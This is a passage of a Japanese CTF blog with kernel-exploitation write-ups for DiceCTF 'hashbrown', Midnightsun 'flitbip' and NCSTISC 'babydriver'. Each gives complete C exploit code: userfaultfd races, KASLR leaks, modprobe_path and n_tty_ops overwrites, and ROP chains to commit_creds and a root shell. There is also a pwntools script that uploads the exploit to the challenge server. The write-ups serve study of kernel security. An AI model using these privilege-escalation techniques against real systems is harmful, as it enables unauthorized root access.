-1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); uffdaddr = mmap((void*)FAULT_ADDR, PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. printf("[+] mmapped @ %p\n", uffdaddr); if(uffdaddr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = (ulong)uffdaddr; uffdio_register.range.len = PAGE; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&uffdthr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); return uffdthr; } // (END userfaultfd-utils) /******** MAIN ******************/ int main(int argc, char *argv[]) { char buf[0x200]; faultsrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memset(buf, 0, 0x200); hashfd = open(DEV_PATH, O_RDONLY); assert(hashfd > 0); // race-1: leak via shm_file_data for(int ix=0; ix!=threshold; ++ix){ add_key(hashfd, ix, 0x20, buf); } register_userfaultfd_and_halt(); add_key(hashfd, threshold, 0x20, uffdaddr); limit <<= 2; threshold = limit * 3 / 4; pthread_join(uffdthr, 0); // leak kernbase get_value(hashfd, targetkey, 0x20, buf); printf("[!] %lx\n", ((ulong*)buf)[0]); printf("[!] %lx\n", ((ulong*)buf)[1]); printf("[!] %lx\n", ((ulong*)buf)[2]); printf("[!] %lx: shmem_vm_ops\n", ((ulong*)buf)[3]); const ulong shmem_vm_ops = ((ulong*)buf)[3]; const ulong kernbase = shmem_vm_ops - ((ulong)0xffffffff8b622b80 - (ulong)0xffffffff8ae00000); const ulong modprobe_path = kernbase + ((ulong)0xffffffffb0c46fe0 - (ulong)0xffffffffb0200000); printf("[!] kernbase: 0x%lx\n", kernbase); printf("[!] modprobe_path: 0x%lx\n", modprobe_path); // race-2: retrieve hash_entry as value targetkey = threshold - 1; memset(buf, 'A', 0x20); for(int ix=SIZE_ARR_START * 3/4 + 1; ix!=threshold; ++ix){ add_key(hashfd, ix, 0x20, buf); } register_userfaultfd_and_halt(); add_key(hashfd, threshold, 0x20, uffdaddr); pthread_join(uffdthr, 0); for(int ix=threshold+1; 1==1; ++ix){ // find my cute object memset(buf, 'A', 0x20); add_key(hashfd, ix, 0x20, buf); get_value(hashfd, targetkey, 0x20, buf); if(((uint*)buf)[0] != 0x41414141){ printf("[!] GOT kUAFed object!\n");; printf("[!] %lx\n", ((ulong*)buf)[0]); printf("[!] %lx\n", ((ulong*)buf)[1]); printf("[!] %lx\n", ((ulong*)buf)[2]); printf("[!] %lx\n", ((ulong*)buf)[3]); break; } } // forge hash_entry as data and overwrite modprobe_path struct hash_entry victim = { .key = ((uint*)buf)[0], .size = ((uint*)buf)[1], .value = modprobe_path, .next = NULL }; update_value(hashfd, targetkey, 0x20, &victim); update_value(hashfd, ((uint*)buf)[0], 0x20, "/home/ctf/nirugiri.sh\x00\x00\x00\x00"); // trigger modprobe_path system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh"); system("chmod +x /home/ctf/nirugiri.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar"); system("chmod +x /home/ctf/puipui-molcar"); system("/home/ctf/puipui-molcar"); // NIRUGIRI it system("cat /home/ctf/flag.txt"); return 0; }
今回はまだ問題サーバが生きていたからsenderも。
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./exploit" LIBCNAME = "" hosts = ("dicec.tf","localhost","localhost") ports = (31691,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(): global c pass ## exploit ########################################### def exploit(): c.recvuntil("Send the output of: ") hashcat = c.recvline().rstrip().decode('utf-8') print("[+] calculating PoW...") hash_res = os.popen(hashcat).read() print("[+] finished calc hash: " + hash_res) c.sendline(hash_res) with open("./exploit.gz.b64", 'r') as f: binary = f.read() progress = 0 N = 0x300 print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary)))) for s in [binary[i: i+N] for i in range(0, len(binary), N)]: c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s)) progress += N if progress % N == 0: print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(len(binary)))) c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz') c.sendlineafter('$', 'gunzip ./exploit.gz') c.sendlineafter('$', 'chmod +x ./exploit') c.sendlineafter('$', './exploit') c.sendlineafter('$', 'cat /home/ctf/flag.txt') ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
8: アウトロ
問題サーバ生きてるやんけ、と思ってやってみたら、exploitバイナリの送信でタイムアウトになるわ。。。
取り敢えずローカルの画像貼っとこひょっとこ。
【追記20200216】やっぱバイナリ送るときってdiet-libc
みたいな軽量libc(diet-libcは流石に古いか。muslとかuclibc)とリンクさせとかないとダメなのかな。 と思ったけど、gzipするのを忘れてただけだった。あとstripするのも忘れてた。この2つをちゃんとやったらサイズが1/4になったのでglibcでいけました。(UPXしとくのも良いらしい)
# send binary gcc ./exploit.c -o ./exploit --static -masm=intel -pthread -no-pie -fno-PIE strip ./exploit gzip ./exploit base64 ./exploit.gz > ./exploit.gz.b64 python3 ./sender.py r
【追記終わり】
いい問題でした。大切な要素が詰まってるし、難易度も簡単すぎず難しすぎず。
おいしかったです。やよい軒行ってきます。
9: symbols without KASLR
hashmap: 0xffffffffc0002540 kmalloc_caches: 0xffffffff81981dc0 __per_cpu_offset: 0xffffffff81980680
FGKASLRのせいでモジュール内の関数にブレーク貼れないのマジでストレスで胃が爆発霧散するかと思った(nokaslr
指定しても無駄だし... :cry:)。まぁ起動する度に確認すれば良いんだけど。
10: 参考
1: author's writeup
https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
2: LWN about FGKASLR
https://lwn.net/Articles/824307/
3: pwn chall in HXPCTF also using FGKASLR
https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
4: kernel structure refs
https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628
5: しふくろさんのブログ(modprobe_pathについて参考にした)
https://shift-crops.hatenablog.com/entry/2019/04/30/131154
6: ニルギリ
続く...
【pwn 47.0】flitbip - Midnightsun CTF Finals 2018 (kernel exploit)
baby / kernel exploitation / n_tty_ops
やっぱりリストを埋めるのそんなに楽しくないため、次からは面白そうな問題だけ解いていこうと思います。
1: static
basic
/ # cat /proc/version Linux version 4.17.0 (aleph@codin) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)) #1 Fri J8 -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null \
SMEP無効・SMAP無効・KASLR無効・oops->panic
new syscall
新しくsyscallが追加されている。
#include <linux/kernel.h> #include <linux/init.h> #include <linux/sched.h> #include <linux/syscalls.h> #define MAXFLIT 1 #ifndef __NR_FLITBIP #define FLITBIP 333 #endif long flit_count = 0; EXPORT_SYMBOL(flit_count); SYSCALL_DEFINE2(flitbip, long *, addr, long, bit) { if (flit_count >= MAXFLIT) { printk(KERN_INFO "flitbip: sorry :/\n"); return -EPERM; } *addr ^= (1ULL << (bit)); flit_count++; return 0; }
任意のアドレスの任意のbitを反転させることができる。flist_count
によって回数を制限しているが、KASLR無いからflist_count
を最初に反転させることで任意回ビット反転ができる。
2: get RIP
任意アドレスに任意の値を書き込むことができる状況である。しかもSMEPが無効のため、RIPさえ取れればそれだけで終わる。このような場合には、struct tty_ldisc_ops n_tty_ops
を書き換えるのが便利らしい。これはTTY関連の関数テーブルで、新規ターミナルのデフォルトテーブルとして利用され、且つRWになっているもの。
# 構造体 static struct tty_ldisc_ops n_tty_ops = { .magic = TTY_LDISC_MAGIC, .name = "n_tty", .open = n_tty_open, .close = n_tty_close, .flush_buffer = n_tty_flush_buffer, .read = n_tty_read, .write = n_tty_write, .ioctl = n_tty_ioctl, .set_termios = n_tty_set_termios, .poll = n_tty_poll, .receive_buf = n_tty_receive_buf, .write_wakeup = n_tty_write_wakeup, .receive_buf2 = n_tty_receive_buf2, }; # 初期化 static int __init pps_tty_init(void) { int err; /* Inherit the N_TTY's ops */ n_tty_inherit_ops(&pps_ldisc_ops); (snipped)
というわけで、こいつのread
を書き換えてscanf()
なりgets()
なりを呼ぶことでRIPが取れる。
3: LPE
あとは、用意したshellcodeを踏ませれば終わり。KASLR無効よりcurrent
の場所が分かるため直接current->cred.uid
等をNULLクリアする。
4: exploit
#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> // commands #define DEV_PATH "" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals // (END globals) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { setreuid(0, 0); char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } const ulong n_tty_ops_read = 0xffffffff8183e320 + 0x30; const ulong n_tty_read = 0xffffffff810c8510; static void shellcode(void){ // まずはお直し *((ulong*)n_tty_ops_read) = n_tty_read; // そのあとpwn scu current_task = 0xffffffff8182e040; scu cred = current_task + 0x3c0; for(int ix=0; ix!=3; ++ix) ((uint *)cred)[ix] = 0; asm( "swapgs\n" "mov %%rax, %0\n" "push %%rax\n" "mov %%rax, %1\n" "push %%rax\n" "mov %%rax, %2\n" "push %%rax\n" "mov %%rax, %3\n" "push %%rax\n" "mov %%rax, %4\n" "push %%rax\n" "iretq\n" :: "r" (user_ss), "r" (user_sp), "r"(user_rflags), "r" (user_cs), "r" (&NIRUGIRI) : "memory" ); } // (END utils) // flitbip const ulong flit_count = 0xffffffff818f4f78; long _fff(long *addr, long bit){ asm( "mov rax, 333\n" "syscall\n" ); } long fff(long *addr, long bit){ long tmp = _fff(addr, bit); assert(tmp == 0); return tmp; } // (END flitbip) int main(int argc, char *argv[]) { save_state(); int pid = getpid(); printf("[+] my pid: %lx\n", pid); char buf[0x200]; printf("[+] shellcode @ %p\n", shellcode); ulong flipper = n_tty_read ^ (ulong)&shellcode; fff(flit_count, 63); for(int ix=0; ix!=64; ++ix){ if(flipper & 1 == 1){ fff(n_tty_ops_read, ix); } flipper >>= 1; } fgets(buf, sizeof(buf), stdin); printf("[!] unreachable\n"); return 0; }
5: アウトロ
違う、こういう問題を解きたいんじゃない。。。。。。。。。。。
次からは簡単過ぎる問題は飛ばして良さげな問題だけ見繕おうと思います。
6: 参考
1: ニルギリ
続く...
【pwn 46.0】babydriver - NCSTISC CTF 2018 (babykernel exploit)
super-easy / baby / heap / UAF / slub / kernel exploit
- 1: イントロ
- 2: static analysis
- 3: vuln
- 4: kernbase leak
- 5: get RIP
- 6: exploit
- 7: アウトロ
- 8: symbols without KASLR
- 9: 参考
1: イントロ
kernel強化月間なのでいい感じの問題集を探していたところhamaさんのブログによさげなのがあったため解いていく。第1問目は NCSTISC CTF 2018 の babydriver 。
ブログよく見てみたらhamaリストには2019年版もありました。解いていきたいですね
2: static analysis
basics
$ modinfo ./babydriver.ko filename: /home/wataru/Documents/ctf/ncstisc2018/babydriver/work/./babydriver.ko description: Driver module for begineer license: GPL srcversion: BF97BBB242B36676F9A574E depends: vermagic: 4.4.72 SMP mod_unload modversions / $ cat /proc/version Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP T7 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ -smp cores=1,threads=1 \ -cpu kvm64,+smep \
SMEP有効・SMAP無効・oops->panic・KASLR有効
cdev
(gdb) p *(struct cdev*)0xffffffffc0002460 $1 = { kobj = { name = 0x0, entry = { next = 0xffffffffc0002468, prev = 0xffffffffc0002468 }, parent = 0x0, kset = 0x0, ktype = 0xffffffff81e779c0, sd = 0x0, kref = { refcount = { refs = { counter = 1 } } }, state_initialized = 1, state_in_sysfs = 0, state_add_uevent_sent = 0, state_remove_uevent_sent = 0, uevent_suppress = 0 }, owner = 0xffffffffc0002100, ops = 0xffffffffc0002000, list = { next = 0xffffffffc00024b0, prev = 0xffffffffc00024b0 }, dev = 260046848, count = 1 } (gdb) p *((struct cdev*)0xffffffffc0002460).ops $3 = { owner = 0xffffffffc0002100, llseek = 0x0, read = 0xffffffffc0000130, write = 0xffffffffc00000f0, read_iter = 0x0, write_iter = 0x0, iopoll = 0x0, iterate = 0x0, iterate_shared = 0xffffffffc0000080, poll = 0x0, unlocked_ioctl = 0x0, compat_ioctl = 0xffffffffc0000030, mmap = 0x0, mmap_supported_flags = 18446744072635809792, (snipped...) ↑ 結構オフセット違うからダメだわ }
実装されている fops は、 open/read/write/ioctl の4つ。
fops
open: babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc-64) babydev_struct.buf_len = 0x40 write: if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then _copy_from_user(baby_dev_struct.device_buf, arg_size) read: if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then _copy_to_user(baby_dev_struct.device_buf, arg_size) ioctl: if cmd == 0x10001 then kfree(babydev_struct.device_buf) babydev_struct.device_buf = kmem_cache_alloc_trace(size) babydev_struct.buf_len = 0x40
ioctl で任意の大きさに buf を取り直せる。
3: vuln
babyrelease()
時にbabydev_struct.device_buf
をkfree()
するのだが、参照カウンタ等による制御を行っていない。そのため複数open()
しておいてどれか一つでclose()
すると簡単に UAF が実現できる。しかも、freeされているオブジェクトを再allocするまでもなく保有できる。
え、もうこの時点で解けたことにしていいかな。。。いや、何か新しい気付きがあるかも知れないから一応やってみよ。
4: kernbase leak
/proc/self/stat をread()
してseq_operations
からleak
。それだけ。
5: get RIP
さっき使ったseq_operations
を使いまわしてそのままRIPを取れる。SMEP有効だからROP chainして終わり。まじで、ROP chainのgadget調べる時間のほうがこの問題解くよりも1.5倍くらい多い気がする。
6: exploit
#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> // commands #define DEV_PATH "/dev/babydev" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals // (END globals) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } static void shellcode(void){ asm( "xor rdi, rdi\n" "mov rbx, QWORD PTR [rsp+0x50]\n" "sub rbx, 0x244566\n" "mov rcx, rbx\n" "call rcx\n" "mov rdi, rax\n" "sub rbx, 0x470\n" "call rbx\n" "add rsp, 0x20\n" "pop rbx\n" "pop r12\n" "pop r13\n" "pop r14\n" "pop r15\n" "pop rbp\n" "ret\n" ); } // (END utils) /******* babydev ****************/ #define INF 1<<31 size_t current_size = INF; int _open(){ int _fd = open(DEV_PATH, O_RDWR); assert(_fd > 0); current_size = 0x40; return _fd; } void _write(int fd, char *buf, size_t size){ assert(size < current_size); assert(write(fd, buf, size) >= 0); } void _realloc(int fd, size_t size){ assert(ioctl(fd, 0x10001, size) == 0); current_size = size; } void _close(int fd){ assert(close(fd) >= 0); } void _read(int fd, char *buf, size_t size){ assert(size < current_size); assert(read(fd, buf, size) > 0); } /******* (END babydev) *************/ /*** gadgets ***/ /* 0xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret ; (1 found) 0xffffffff81018062: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found) 0xffffffff810a1810 T prepare_kernel_cred 0xffffffff810a1420 T commit_creds 0xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret ; (32 found) 0xffffffff8181a797: 48 cf iretq 0xffffffff8100700c: pop rcx ; ret ; (25 found) 0xffffffff81063694: 0f 01 f8 swapgs 0xffffffff81063697: 5d pop rbp 0xffffffff81063698: c3 ret */ void gen_chain(ulong *a, const ulong kernbase) { scu pop_rdi = 0x3e7d9d; scu prepare_kernel_cred = 0x0a1810; scu rax2rdi_rep_pop_rbp = 0x018062; scu pop_rcx = 0x00700c; scu commit_creds = 0x0a1420; scu swapgs_pop_rbp = 0x063694; scu iretq = 0x81a797; save_state(); *a++ = pop_rdi + kernbase; *a++ = 0; *a++ = prepare_kernel_cred + kernbase; *a++ = pop_rcx + kernbase; *a++ = 0; *a++ = rax2rdi_rep_pop_rbp + kernbase; *a++ = 0; *a++ = commit_creds + kernbase; *a++ = swapgs_pop_rbp + kernbase; *a++ = 0; *a++ = iretq + kernbase; *a++ = &NIRUGIRI; *a++ = user_cs; *a++ = user_rflags; *a++ = user_sp; *a++ = user_ss; *a++ = 0xdeadbeef; // unreachable } /************ MAIN ****************/ int main(int argc, char *argv[]) { char buf[0x2000]; int fd[0x10]; int statfd; // UAF fd[0] = _open(); fd[1] = _open(); _realloc(fd[0], 0x20); _close(fd[0]); // leak kernbase statfd = open("/proc/self/stat", O_RDONLY); assert(statfd > 0); _read(fd[1], buf, 0x10); const ulong single_start = ((ulong*)buf)[0]; const ulong kernbase = single_start - 0x22f4d0UL; printf("[!] single_start: %lx\n", single_start); printf("[!] kernbase: %lx\n", kernbase); // prepare chain and get RIP const ulong gadstack = 0x5DFFFA88; const char *maddr = mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); const ulong **chain = maddr + (gadstack & 0xFFF); gen_chain(chain, kernbase); ((ulong*)buf)[0] = kernbase + 0x0eefd0; _write(fd[1], buf, 0x8); // NIRUGIRI read(statfd, buf, 1); return 0; }
7: アウトロ
新しい気づきは、ありませんでした。
もうすぐ3.11から10年ですね。あの時から精神的にも知能的にも技術的にも何一つ成長できている気がしませんが、小学生の自分には笑われないようにしたいですね。
あと柴犬飼いたいですね。
8: symbols without KASLR
cdev: 0xffffffffc0002460 fops: 0xffffffffc0002000 kmem_cache_alloc_trace: 0xffffffff811ea180 babyopen: 0xffffffffc0000030 babyioctl: 0xffffffffc0000080 babywrite: 0xffffffffc00000f0 kmalloc-64: 0xffff880002801b00 kmalloc-64's cpu_slub: 0x19e80 babydev_struct: 0xffffffffc00024d0
9: 参考
1: hamaリスト2018
https://hama.hatenadiary.jp/entry/2018/12/01/000000
2: hamaリスト2019
https://hama.hatenadiary.jp/entry/2019/12/01/231213
3: ニルギリ
続く...